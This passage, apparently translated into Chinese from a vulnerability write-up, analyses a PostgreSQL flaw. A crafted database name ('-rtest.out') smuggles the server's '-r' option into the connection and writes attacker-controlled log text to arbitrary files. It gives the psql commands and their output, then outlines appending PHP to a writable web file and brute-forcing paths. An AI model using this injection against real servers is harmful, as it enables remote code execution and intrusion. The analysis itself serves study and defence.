嗯,貌似没有一个选项能够让我们利用来进行远程代码执行,因此让我们先回到最初的想法来——使用"-r"选项将垃圾信息写入到任意的文件中。首先看一下用"-r"选项指定一个输出文件时我们会得到什么样的输出:
psql --host=192.168.1.100 --dbname="-rtest.out"
test.out:
2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL on 2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test", database "-rtest.out", SSL off好的,我们得到了一个以日期/时间戳开头后跟典型的日志内容的输出,接下来是客户端IP(这个无法做进一步的更改)、连接的用户名以及所谓的dbname。要是我们指定用户名会怎样?
psql --username="test123" --host=192.168.1.100 --dbname="-rtest.out"test.out:
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off看来至少我们能随意设置写入日志中的用户名……在对输出的日志经过一番分析及测试后发现, 我们可以向任意文件中写入63字节的数据(除去开头和尾部的那些不重要的日志数据)。
那么我们怎样利用这个漏洞呢?首先,想要执行某些代码我们得先找到一个中庸的解析器(lazy parser),它在遇到不识别的日志数据时或者忽略或者抛出警告但是能继续执行我们所提供的代码。通常web脚本语言是一个比较好的选择,例如php,我们可以将代码封装到<? ?>标签内传给解释器进行解析。
因此,如果装有像php脚本解释器之类的web服务器与Postgresql服务器位于同一台主机时,我们可以将代码写到文件中并通过web来触发它。但是有一个问题需要考虑,web目录需要人人可写权限(world writable)(或者至少对运行posgres进程的用户来说是可写的),此外使用"-r"选项来创建新文件时其默认权限是0600,因此即使能新建文件也无法执行。那么,我们需要找到一个已经存在、具有执行权限并且我们有权限写入的文件,这样我们就可将代码附加到这个文件中。
由于服务器可以像客户端发回"could not open"和"Permission denied"的消息,因此你可以通过暴力穷举的方式来搜索服务器上的文件或目录。